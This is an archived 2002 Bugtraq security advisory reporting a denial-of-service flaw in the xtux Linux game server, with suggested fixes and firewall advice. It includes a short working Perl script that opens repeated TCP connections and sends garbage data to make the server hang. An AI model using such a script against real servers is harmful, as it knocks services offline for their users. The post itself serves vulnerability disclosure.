8125013 2002-03-09 15:53 -0700  /46 rader/ b0iler _ <b0iler@hotmail.com>
Sänt av: joel@lysator.liu.se
Importerad: 2002-03-11  19:55  av Brevbäraren
Extern mottagare: bugtraq@securityfocus.com
Mottagare: Bugtraq (import) <21344>
Ärende: xtux server DoS.
------------------------------------------------------------
From: "b0iler _" <b0iler@hotmail.com>
To: bugtraq@securityfocus.com
Message-ID: <F2797jtrSByh133tYwl00016d20@hotmail.com>

After telnetting into a xtux server a few times and typing random
stuff I  noticed the sever stopped responding.  Xtux is a really cool
game for linux,  you should try it.  It also took up 70% cpu before I
killed it.  Then coded  a small perl script to test this, worked
everytime I tested.  I emailed the  author of xtux a few days ago,
haven't heard anything yet.  I figure the  problems that need to be
addressed are:

the number of connections from one host. - currently unlimitted.  the
total number of connections. - currently unlimitted.  some sort of
timeout for the server - currently the client handles timeouts  but
server allows clients to stay connected without doing anything
forever.  a fix for when users send garbage (don't make the
connection correctly) to  the server and it becomes unresponcive.

For now I would just set tight firewall rules when you run the xtux
server,  you should know who you are playing with anyways.

Here is that perl script I used to test:

#!/usr/bin/perl
#
# xtux server DoS - by b0iler
# server will become unresponcive and takes up lots of CPU.

use IO::Socket;

for($n=0;$n<=3;$n++){ #you shouldn't even need all 3 connections.
        print "Connecting to $ARGV[0] port $ARGV[1]\n";
        $sock = IO::Socket::INET->new(PeerAddr => $ARGV[0],  PeerPort => 
$ARGV[1], Proto    => 'tcp' ) or print "\ncouldn't connect\n\n";
        sleep 3;
        print $sock "garbage data\n\n";
}
exit;

http://b0iler.advknowledge.net


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(8125013) /b0iler _ <b0iler@hotmail.com>/-(Ombruten)